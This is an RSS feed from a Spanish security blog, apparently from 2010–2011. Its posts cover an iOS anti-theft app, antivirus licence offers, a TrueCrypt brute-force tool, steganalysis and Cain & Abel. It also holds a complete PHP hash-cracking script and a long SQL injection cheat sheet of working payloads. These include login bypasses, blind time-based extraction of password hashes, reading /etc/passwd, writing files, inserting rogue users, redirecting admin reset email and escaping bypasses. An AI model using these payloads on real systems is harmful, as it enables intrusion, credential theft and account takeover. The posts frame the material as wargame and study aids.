<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BrianUR &#187; Seguridad</title>
	<atom:link href="http://www.brianur.info/category/seguridad/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brianur.info</link>
	<description></description>
	<lastBuildDate>Wed, 01 Feb 2012 16:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>IlockOut: Una aplicación para mejorar la seguridad en los dispositivos con iOS</title>
		<link>http://www.brianur.info/ilockout-una-aplicacion-para-mejorar-la-seguridad-en-los-dispositivos-con-ios/</link>
		<comments>http://www.brianur.info/ilockout-una-aplicacion-para-mejorar-la-seguridad-en-los-dispositivos-con-ios/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 19:14:13 +0000</pubDate>
		<dc:creator>juarbo</dc:creator>
				<category><![CDATA[Moviles]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Apps de Seguridad iPhone]]></category>
		<category><![CDATA[iLockOut]]></category>
		<category><![CDATA[ipod touch]]></category>
		<category><![CDATA[Seguridad Iphone]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1463</guid>
		<description><![CDATA[ilockOut añade otro nivel de seguridad a los dispositivos con iOS, iPod Touch y iPhone. Esta aplicación está diseñada especialmente para quienes tienen la costumbre de dejar su dispositivo en cualquier lugar y este queda susceptible a que personas puedan manipularlo sin autorización. Muy recomendada de igual forma también para quienes son más cuidadosos con sus gadgets, pues nadie está [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>ilockOut</strong> añade otro nivel de seguridad a los dispositivos con iOS,<strong> iPod Touch y iPhone.</strong> Esta aplicación está diseñada especialmente para quienes tienen la costumbre de dejar su dispositivo en cualquier lugar y este queda susceptible a que personas puedan manipularlo sin autorización. Muy recomendada de igual forma también para quienes son más cuidadosos con sus gadgets, pues nadie está a salvo de un robo o personas curiosas.</p>
<p><img class="size-full wp-image-1464 aligncenter" src="http://www.brianur.info/wp-content/uploads/2011/09/ikockout1.png" alt="ikockout1" width="353" height="663" /></p>
<p style="text-align: justify;">Lo que hace la aplicación es, una vez, la persona que tiene el dispositivo en sus manos intenta desbloquearlo, contará con 15, 30 o 45 segundos (según lo hayamos configurado) para introducir el código de desbloqueo correcto y desbloquear el dispositivo, si la persona que intenta acceder ingresa un código equivocado varias veces no sucederá nada, pero si no ingresa el código correcto antes de que se termine el tiempo que se ha pre configurado para ello, <strong>ilockOut</strong> se encargará de tomar una foto con la cámara frontal del dispositivo de forma automática y enviarla de inmediato por correo electrónico a la dirección que hayamos configurado.</p>
<p style="text-align: justify;">Como el sistema requiere usar la cámara frontal, esta aplicación solo podrá ser instalada en los dispositivos con <strong>iOS</strong> que cuenten con dicha cámara. La aplicación se encuentra disponible en el repositorio de <strong>ModMyi </strong>por medio de Cydia.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/ilockout-una-aplicacion-para-mejorar-la-seguridad-en-los-dispositivos-con-ios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Licencias por 6 meses para Avira Premium y Panda Pro</title>
		<link>http://www.brianur.info/licencias-por-6-meses-para-avira-premium-y-panda-pro/</link>
		<comments>http://www.brianur.info/licencias-por-6-meses-para-avira-premium-y-panda-pro/#comments</comments>
		<pubDate>Sat, 24 Sep 2011 03:42:37 +0000</pubDate>
		<dc:creator>juarbo</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Licencia Avira]]></category>
		<category><![CDATA[Licencia Avira Premium]]></category>
		<category><![CDATA[Licencia Panda]]></category>
		<category><![CDATA[Licencia Panda Pro 2012]]></category>
		<category><![CDATA[Licencias Antivirus]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1448</guid>
		<description><![CDATA[Estos dos antivirus están ofreciendo licencias de 180 días sin ningún costo, sin participar en ningún concurso, simplemente realizando un simple proceso. Avira: Para acceder a una licencia de Avira Premium Security Suite de 180 días (6 Meses) se debe completar el formulario que se encuentra en esta pagina, Avira 180 Days, luego de completar este formulario vía e-mail recibirá la llave de licencia que le permitirán activar por 6 [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">Estos dos antivirus están ofreciendo licencias de 180 días sin ningún costo, sin participar en ningún concurso, simplemente realizando un simple proceso.</p>
<p><a href="http://www.brianur.info/licencias-por-6-meses-para-avira-premium-y-panda-pro/avira-premium-logo/" rel="attachment wp-att-1449"><img class="size-full wp-image-1449 aligncenter" src="http://www.brianur.info/wp-content/uploads/2011/09/avira-premium-logo.jpg" alt="avira-premium-logo" width="400" height="286" /></a></p>
<p style="text-align: justify"><strong>Avira</strong>: Para acceder a una<strong> licencia de Avira Premium Security Suite</strong> de 180 días (6 Meses) se debe completar el formulario que se encuentra en esta pagina, <a href="https://license.avira.com/en/promotion-ja62epxtk94zmruepkzn">Avira 180 Days</a>, luego de completar este formulario vía e-mail recibirá la llave de licencia que le permitirán activar por 6 meses de forma totalmente legal su antivirus. Esta licencia permite acceder a actualizaciones y a la totalidad de sus funciones premium.</p>
<p>&nbsp;</p>
<p><a href="http://www.brianur.info/licencias-por-6-meses-para-avira-premium-y-panda-pro/panda-security/" rel="attachment wp-att-1450"><img class="size-medium wp-image-1450 aligncenter" src="http://www.brianur.info/wp-content/uploads/2011/09/Panda-Security-300x250.jpg" alt="Panda Security" width="300" height="250" /></a></p>
<p style="text-align: justify"><strong>Panda</strong>: Para acceder a una<strong> licencia de Panda Antivirus Pro 2012</strong> de 180 días, equivalente a cerca de 6 meses de uso, lo único que hay que hacer es, acceder a la <a href="https://www.facebook.com/PandaSecurity">fan page en facebook de Panda Security</a>, dar en me gusta y seguir las instrucciones, esta licencia es valida para todas las funciones pro de <strong>Panda Antivirus</strong>, esta son algunas de ellas:</p>
<ul>
<li>Protección contra todo tipo de virus y Amenazas</li>
<li>Inteligencia Colectiva</li>
<li>Firewall Personal</li>
<li>Panda USB Vaccine</li>
<li>Teclado Virtual</li>
<li>Panda Safe Browser</li>
<li>Modo de Juegos</li>
<li>Gestor de Red Domestica</li>
<li>Panda Safe Cd</li>
<li>Soporte Tecnico Via Web</li>
<li>Actualizaciones</li>
<li>SOS virus</li>
</ul>
<div style="text-align: justify">Recordemos que antes de instalar cualquiera de estas versiones en el equipo, se debe verificar que no se encuentra ningún otro antivirus en ejecución!</div>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/licencias-por-6-meses-para-avira-premium-y-panda-pro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Realizar ataques de fuerza bruta a volumenes TrueCrypt</title>
		<link>http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/</link>
		<comments>http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 16:05:45 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[diccionario]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[truecrypt]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1242</guid>
		<description><![CDATA[Antes que nada debo presentarles TrueCrypt para quienes no lo conozcan, es un Software que nos permite encriptar archivos haciendo uso de diferentes algoritmos de cifrado. Lo que más me gustó de este aplicativo es que nos permite crear volúmenes virtuales (como si se tratase de otro disco más en nuestro computador) que en realidad [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Antes que nada debo presentarles <a title="TruCrypt" href="http://www.truecrypt.org/" target="_blank"><strong>TrueCrypt</strong> </a>para quienes no lo conozcan, es un Software que nos permite encriptar archivos haciendo uso de diferentes algoritmos de cifrado. Lo que más me gustó de este aplicativo es que nos permite crear volúmenes virtuales (como si se tratase de otro disco más en nuestro computador) que en realidad no es más que es un archivo con <strong>extensión .tc</strong> el cual después de poner la contraseña correcta se &#8220;monta&#8221; para poder ser usado y así es mucho más sencillo y rápido administrar los archivos del mismo.</p>
<p style="text-align: justify;">En un reto que vi hace algún tiempo para un Wargame, había que realizar un ataque por diccionario a un volumen TrueCrypt y así fue que di con <strong>true.crypt.brute</strong>, que también puede ser útil en caso de<strong> olvidar la contraseña</strong> del .tc con archivos importantes. Eso si hay que tener en cuenta que se necesita un buen diccionario y que no es del todo efectivo el ataque, ya que como he visto en algunos casos de personas que usan 50 o más caracteres en su contraseña, haciendo imposible dar con ella usando un diccionario. Otro detalle es que el proceso es muy lento, hay que tener paciencia.</p>
<p style="text-align: justify;"><a href="http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/tru/" rel="attachment wp-att-1243"><img class="aligncenter size-full wp-image-1243" title="true.crypt.brute" src="http://www.brianur.info/wp-content/uploads/2011/07/tru.png" alt="" width="626" height="346" /></a></p>
<p style="text-align: justify;"><strong>Descargar <a title="true.crypt.brute" href="http://securityvision.ch/index.php?option=com_phocadownload&amp;view=category&amp;id=1:security&amp;Itemid=54" target="_blank">true.crypt.brute</a></strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHPCracker: Crackear diferentes tipos de hash con PHP</title>
		<link>http://www.brianur.info/phpcracker-crackear-diferentes-tipos-de-hash-con-php/</link>
		<comments>http://www.brianur.info/phpcracker-crackear-diferentes-tipos-de-hash-con-php/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 11:43:16 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Codiguillos]]></category>
		<category><![CDATA[Toolz]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[diccionario]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[iod]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1228</guid>
		<description><![CDATA[Últimamente resolviendo algunos retos me ha tocado crackear diferentes hash y aunque existen muchos programas para esa labor (como Cain) estos no ofrecen soporte para realizar fuerza bruta a algunos tipos de hash. Por esta razón hice PHPCracker, un sencillo script que permite realizar ataques por fuerza bruta y ataques por diccionario usando PHP. &#160; [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Últimamente resolviendo algunos retos me ha tocado crackear diferentes hash y aunque existen muchos programas para esa labor (como <a title="Cain &amp; Abel" href="http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/" target="_blank">Cain</a>) estos no ofrecen soporte para realizar fuerza bruta a algunos tipos de hash. Por esta razón hice <strong>PHPCracker</strong>, un sencillo script que permite realizar ataques por fuerza bruta y ataques por diccionario usando PHP.</p>
<p style="text-align: justify;">&nbsp;</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php

if (defined('STDIN')) {
        if (count($argv) &lt; 2) {
            echo &quot;#########################################################################\n&quot; .
            &quot;#           PHPCracker UrbaN77 www.RedInfoCol.org  - www.BrianUR.info   #\n&quot; .
            &quot;#########################################################################\n&quot; .
            &quot;# Uso: php phpcracker.php [Modo] [Nombre del hash] [Hash] [Opciones]    #\n&quot; .
            &quot;# --------------------------------------------------------------------- #\n&quot; .
            &quot;# Modo: usa -b hacer un brute force o -d para un ataque por diccionario.#\n&quot; .
            &quot;# Nombre del hash: Por ejemplo md5, sha1 o cual sea el nombre.          #\n&quot; .
            &quot;# Hash: Hash a crackear.                                                #\n&quot; .
            &quot;# Opciones: Estas dependen del modo elegido.                            #\n&quot; .
            &quot;#  - Charset: min para minusculas, may para mayusculas   o all para las #\n&quot; .
            &quot;#             anteriores con numeros y simbolos (Solo para el modo -b). #\n&quot; .
            &quot;#  - Diccionario: nombre del fichero de tu wordlist (Solo para modo -d).#\n&quot; .
            &quot;#########################################################################&quot;;
            exit;
        }
        $modo = $argv[1];
        $tipoHash = $argv[2];
        $hash = $argv[3];

        function crackear($hash, $tipoHash, $charset) {
            if ($charset == &quot;min&quot;) {
                $desde = 97;
                $hasta = 122;
            } elseif ($charset == &quot;may&quot;) {
                $desde = 65;
                $hasta = 90;
            } elseif ($charset == &quot;all&quot;) {
                $desde = 33;
                $hasta = 126;
            } else {
                echo &quot;Necesitas especificar el Charset: min, may o all.&quot;;
                exit;
            }
			echo &quot;Crackeando...\n&quot;;
            for ($i = $desde; $i &lt;= $hasta; $i++) {
                for ($j = $desde; $j &lt;= $hasta; $j++) {
                    for ($k = $desde; $k &lt;= $hasta; $k++) {
                        for ($l = $desde; $l &lt;= $hasta; $l++) {
                            $salida = hash($tipoHash, chr($i) . chr($j) . chr($k) . chr($l));
                            if ($hash == $salida) {
                                echo &quot;Password encontrado: &quot; . chr($i) . chr($j) . chr($k) . chr($l).&quot;\n&quot;;
                                exit;
                            }
                        }
                    }
                }
            }
        }

        if ($modo == &quot;-d&quot;) {
            $wordlist = $argv[4];
            if (file_exists($wordlist)) {
                $diccionario = file($wordlist);
				echo &quot;Crackeando...\n&quot;;
                foreach ($diccionario as $rel) {
                    $salida = hash($tipoHash, $rel);
                    if ($salida == $hash) {
                        echo &quot;El password es: &quot; . $rel;
                        exit;
                    }
                }
            } else {
                echo &quot;El archivo &quot; . $wordlist . &quot; no existe.&quot;;
                exit;
            }
        } elseif ($modo == &quot;-b&quot;) {
            $charset = $argv[4];
            crackear($hash, $tipoHash, $charset);
        }
        echo &quot;Password no encontrado :/ intenta probando con otro tipo de hash, otro charset o diccionario.&quot;;
} else {
    echo(&quot;Necesitas correr este script desde la consola.&quot;);
}
?&gt;
</pre>
<p><span id="more-1228"></span></p>
<p style="text-align: justify;">El script hace uso de la función <a title="Hash PHP" href="http://www.php.net/manual/en/function.hash.php" target="_blank">hash</a> de PHP, soportando más de 30 tipos de hash como <strong>md5</strong>, <strong>sha1</strong>, <strong>whirlpool </strong>y otros. De momento solo funciona el ataque con 4 caracteres, se pueden agregar más for manualmente para aumentar el número de caracteres pero no es la mejor opción&#8230;  para la próxima versión prometo arreglar ese detalle utilizando recursividad.</p>
<p style="text-align: justify;">Gracias a PHP, PHPCracker puede correr en diferentes plataformas como iOS o Android:</p>
<p style="text-align: justify;"><img class="aligncenter" title="Cracking iPhone" src="http://a7.sphotos.ak.fbcdn.net/hphotos-ak-snc6/268429_10150230730472605_741872604_7402208_2082495_n.jpg" alt="" width="602" height="401" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/phpcracker-crackear-diferentes-tipos-de-hash-con-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>StegSecret: Herramienta para estegoanálisis</title>
		<link>http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/</link>
		<comments>http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/#comments</comments>
		<pubDate>Sat, 19 Mar 2011 20:15:02 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[esteganografia]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1181</guid>
		<description><![CDATA[StegSecret es una interesante herramienta para estegoanálisis de imágenes en busca de información oculta, comprobando diferentes tipos de técnicas comunes y patrones usados por programas como camouflage, inThePicture, inPlainView, steghide, dataStealth y entre otros más. Muy útil para wargames cuando necesitas saber rapidamente el tipo de tecnica de un reto de esteganografía antes de ponerte [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong><a rel="attachment wp-att-1182" href="http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/steg/"><img class="alignleft size-medium wp-image-1182" title="StegSecret" src="http://www.brianur.info/wp-content/uploads/2011/03/steg-300x215.jpg" alt="Herramienta para analisar imaganes" width="234" height="167" /></a>StegSecret </strong>es una interesante herramienta para estegoanálisis de imágenes en busca de información oculta, comprobando diferentes tipos de técnicas comunes y patrones usados por programas como camouflage, inThePicture, inPlainView, steghide, dataStealth y entre otros más. Muy útil para <strong>wargames</strong> cuando necesitas saber rapidamente el tipo de tecnica de un reto de <strong>esteganografía</strong> antes de ponerte a comprobar manualmente.</p>
<h2 style="text-align: left;"><strong>Programas y técnicas detectadas</strong></h2>
<ul>
<li>camouflage  V1.2.1,   inThePicture v2,  JPEGXv2.1.1,  PGE (Pretty Good Envelope)  v1.0, appendX v&lt;=4,  steganography v1.6.5,  inPlainView,  DataStash v1.5 y  dataStealth v1.0.</li>
<li>Programas basados en  técnicas EOF (End Of File).</li>
<li>Suporta los formatos BMP, GIF y JPEG.</li>
<li>Cuenta con una Base de Datos de Aplicaciones Esteganográficas &#8220;bdas v0.1&#8243; con más de 40 tipos de técnicas esteganográficas.</li>
</ul>
<p>En resumen una herramienta que no puede faltar en el repertorio.</p>
<p>Sitio web y <a title="stegsecret" href="http://stegsecret.sourceforge.net/" target="_blank">descarga de StegSecret.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection cheat sheet</title>
		<link>http://www.brianur.info/sql-injection-cheat-sheet/</link>
		<comments>http://www.brianur.info/sql-injection-cheat-sheet/#comments</comments>
		<pubDate>Mon, 17 Jan 2011 04:18:25 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1145</guid>
		<description><![CDATA[Los siguientes &#8220;trucos&#8221; para SQL Injection son una colección de una web llamada 0&#215;000000.com que lamentablemente en la actualidad no esta disponible, los tenía guardados por ahí hace tiempo y quiero compartirlos con ustedes: A collection of known and working SQL vectors. These vectors are designed and tested by me on my localhost. I kept [...]]]></description>
			<content:encoded><![CDATA[<p>Los siguientes &#8220;trucos&#8221; para <strong>SQL Injection</strong> son una colección de una web llamada 0&#215;000000.com que lamentablemente en la actualidad no esta disponible, los tenía guardados por ahí hace tiempo y quiero compartirlos con ustedes:</p>
<blockquote>
<p style="text-align: justify;">A collection of known and working <strong>SQL vectors</strong>. These vectors are  designed and tested by me on my localhost. I kept the list clean and  concise tested for all MySQL versions to date unless stated otherwise.  This sheet is under constant development, please come back often. Note  that most of these vectors can be used on <strong>SQL server</strong> or <strong>Oracle</strong> but  mainly it is written and tested for MySQL  only. What I give you here is  basicly everything you ever need to know about <strong>MySQL injection</strong>. You  have to construct the pieces yourself and probably need to know what  they do in order to use them.</p>
</blockquote>
<p><strong>Basics</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE &quot;%root%&quot;</pre>
<p><strong>Use inside login form:</strong></p>
<pre class="brush: sql; title: ; notranslate">1' OR 1=1--
1' OR '1' = '1
'
''
'or&quot;='
') or ('a'='a
&quot;) or (&quot;a&quot;=&quot;a
hi&quot; or &quot;a&quot;=&quot;a
or a=a--
admin'--
' or 0=0 --
&quot; or 0=0 --
or 0=0 --
' or 'x'='x
&quot; or &quot;x&quot;=&quot;x
') or ('x'='x
' or 1=1--
&quot; or 1=1--
or 1=1--
' or a=a--
&quot; or &quot;a&quot;=&quot;a</pre>
<p><span id="more-1145"></span><strong>Variations:</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE &quot;%root%&quot;

 SHOW TABLES
 SELECT * FROM login WHERE id = 1 or 1=1 AND SHOW TABLES

 SELECT VERSION
 SELECT * FROM login WHERE id = 1 or 1=1 AND SELECT VERSION()

 SELECT host,user,db from mysql.db
 SELECT * FROM login WHERE id = 1 or 1=1 AND select host,user,db from mysql.db;</pre>
<p><strong>Blind injection vectors collection</strong><br />
<strong>Operators</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT 1 &amp;&amp; 1;
 SELECT 1 || 1;
 SELECT 1 XOR 0;</pre>
<p><strong>Evaluate</strong></p>
<pre class="brush: sql; title: ; notranslate">all render TRUE or 1.
 SELECT 0.1 &lt;= 2;
 SELECT 2 &gt;= 2;
 SELECT ISNULL(1/0);</pre>
<p><strong>Math</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT FLOOR(7 + (RAND() * 5));
 SELECT ROUND(23.298, -1);</pre>
<p><strong>Misc</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
 SELECT MD5('abc');</pre>
<p><strong>Benchmark</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT BENCHMARK(10000000,ENCODE('abc','123'));
 (this takes around 5 sec on a localhost)

 SELECT BENCHMARK(1000000,MD5(CHAR(116)))
 (this takes around 7 sec on a localhost)

 SELECT BENCHMARK(10000000,MD5(CHAR(116)))
 (this takes around 70 sec on a localhost!)

 Using the timeout to check if user exists
 SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login</pre>
<p>Beware of of the <em>N</em> rounds, add an extra zero and it could stall or crash your browser!<br />
<strong>Gathering info</strong><br />
<strong>Table mapping</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT COUNT(*) FROM tablename</pre>
<p><strong>Field mapping</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM tablename WHERE user LIKE &quot;%root%&quot;
 SELECT * FROM tablename WHERE user LIKE &quot;%&quot;
 SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
 SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;</pre>
<p><strong>User mapping</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM tablename WHERE email = 'user@site.com';
 SELECT * FROM tablename WHERE user LIKE &quot;%root%&quot;
 SELECT * FROM tablename WHERE user = 'username'</pre>
<p><strong>Advanced SQL vectors</strong><br />
<strong>Writing info into files.</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE '/path/location/on/server/www/passes.txt'</pre>
<p><strong>Writing info into files without single quotes: (example)</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT password FROM tablename WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),
 CHAR( 39)) INTO OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),
 CHAR( 39))</pre>
<p>Note: You must specify a new file, it may not exists and give the correct pathname.</p>
<p><strong>The CHAR() quoteless function.</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),
 CHAR(110),CHAR( 39))

 SELECT * FROM login WHERE user = CHAR(39,97,39)</pre>
<p><strong>Extracting hashes</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT user FROM login WHERE user = 'root'
 UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login</pre>
<p>This evaluates the first char of the password hash from user &#8216;root&#8217; which is &#8216;a&#8217; (ASCII 97).</p>
<p>The hash is max 32 chars, and for every chars you&#8217;ll need to execute the query with CHAR()</p>
<p>The way to extract hashes is done this way if single quotes are allowed, see beneath it a quoteless example.</p>
<pre class="brush: sql; title: ; notranslate">SELECT user FROM login WHERE user = 'admin'
 UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login1

 1SELECT user FROM login WHERE user = 'admin'
 UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5('x')),null) FROM login

 where: (passwordfield,startcharacter,selectlength)

 is like: (password,1,2) this selects: 'ab'
 is like: (password,1,3) this selects: 'abc'
 is like: (password,1,4) this selects: 'abcd' </pre>
<p><strong>A quoteless example:</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT user FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
 UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login </pre>
<p><strong>Possible chars</strong><br />
0 to 9 &#8211; ASCII 48 to 57 ~ a to z &#8211; ASCII 97 to 122<br />
<strong>Misc.</strong><br />
<strong>Insert a new user into DB</strong></p>
<pre class="brush: sql; title: ; notranslate">INSERT INTO login SET user = 'r00t', pass = 'abc'</pre>
<p><strong>Retrieve /etc/passwd file, put it into a field and insert a new user.</strong></p>
<pre class="brush: sql; title: ; notranslate">load data infile &quot;/etc/passwd&quot; INTO table login (profiletext, @var1) SET user = 'r00t', pass = 'abc'</pre>
<p>Then login!</p>
<p><strong>Write the DB user away into tmp</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT host,user,password FROM user into outfile '/tmp/passwd';</pre>
<p><strong>Change admin e-mail, for &#8220;forgot login retrieval.&#8221; </strong></p>
<pre class="brush: sql; title: ; notranslate">UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';</pre>
<p><strong>Bypassing PHP functions</strong><br />
<strong>Bypassing addslashes() with GBK HEX encoding.</strong></p>
<pre class="brush: sql; title: ; notranslate">WHERE x = 0xbf27 admin 0xbf27</pre>
<p><strong>Using an HEX encoded query to bypass escaping.</strong></p>
<pre class="brush: sql; title: ; notranslate">Normal: SELECT * FROM login WHERE user = 'root'
 Bypass: SELECT * FROM login WHERE user = 0x726F6F74</pre>
<p><strong>Inserting a new user in SQL.</strong></p>
<pre class="brush: sql; title: ; notranslate">Normal: insert into login set user = 'root', pass = 'root'
 Bypass: insert into login set user = 0x726F6F74, pass = 0x726F6F74</pre>
<p><strong>How to determin the HEX value for injection.</strong></p>
<pre class="brush: sql; title: ; notranslate">SELECT HEX('root'); gives you: 726F6F74. then add: 0x before it.</pre>
<p><strong>With comments.</strong></p>
<pre class="brush: sql; title: ; notranslate">S/**/E/**/L/**/E/**/C/**/T * F/**/R/**/O/**/M l/**/o/**/g/**/i/**/n
 W/**/H/**/E/**/R/**/E u/**/s/**/e/**/r = 0x726F6F74</pre>
<p><strong>Bypassing mysql_real_escape_string() with BIG5 or GBK</strong></p>
<pre class="brush: sql; title: ; notranslate">&quot;injection string&quot; に関する追加情報：</pre>
<p>(MySQL 4.1.x before 4.1.20 and 5.0.x)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/sql-injection-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cain &amp; Abel: Una herramienta todo en uno</title>
		<link>http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/</link>
		<comments>http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/#comments</comments>
		<pubDate>Tue, 14 Dec 2010 23:14:18 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[cain]]></category>
		<category><![CDATA[seguridad informatica]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1007</guid>
		<description><![CDATA[Cain &#38; Abel es una de mis herramientas preferidas en entornos Windows, ya que dentro de una misma aplicación podemos hacer montones de cosas como recuperar contraseñas del sistema donde este instalado, entre ellas contraseñas Wi-Fi, de Internet Explorer, clientes de correo, Microsoft Access y más. También cuenta con sistema de crackeo de múltiples tipos [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-1008" href="http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/cain/"><img class="alignright size-medium wp-image-1008" title="Cain &amp; Abel" src="http://www.brianur.info/wp-content/uploads/2010/12/cain-300x173.png" alt="" width="300" height="173" /></a>Cain <span style="text-decoration: line-through;">&amp; Abel </span>es una de mis herramientas preferidas en entornos <strong>Windows</strong>, ya que dentro de una misma aplicación podemos hacer montones de cosas como <strong>recuperar contraseñas </strong>del sistema donde este instalado, entre ellas <strong>contraseñas Wi-Fi</strong>, de Internet Explorer, clientes de correo, Microsoft Access y más. También cuenta con sistema de crackeo de múltiples tipos hash, en el que permite usar técnicas como fuerza bruta, ataque por diccionario y ataque por criptoánalisis. Otra de sus características más valoradas es que permite sniffear redes, permitiendo obtener contraseñas en una red, grabar conversaciones <strong>VoIP, </strong>entre otras. Ademas cuenta con decodificador de Base64, <strong>VNC</strong>, <strong>Cisco</strong> VPN Client y otras pequeñas utilidades.</p>
<p style="text-align: justify;"><strong><a href="http://www.oxid.it/cain.html">Descargar Cain &amp; Abel</a></strong> también puedes descarga una <a href="http://www.dragonjar.org/cain-abel-portable.xhtml">versión portable.</a></p>
<p style="text-align: justify;">El manual oficial lo puedes encontrar <a href="http://www.oxid.it/ca_um/">aquí</a> o este otro en <a href="http://comunidad.dragonjar.org/f152/manual-cain-abel-7394/">español</a>.</p>
]]></content:encoded>
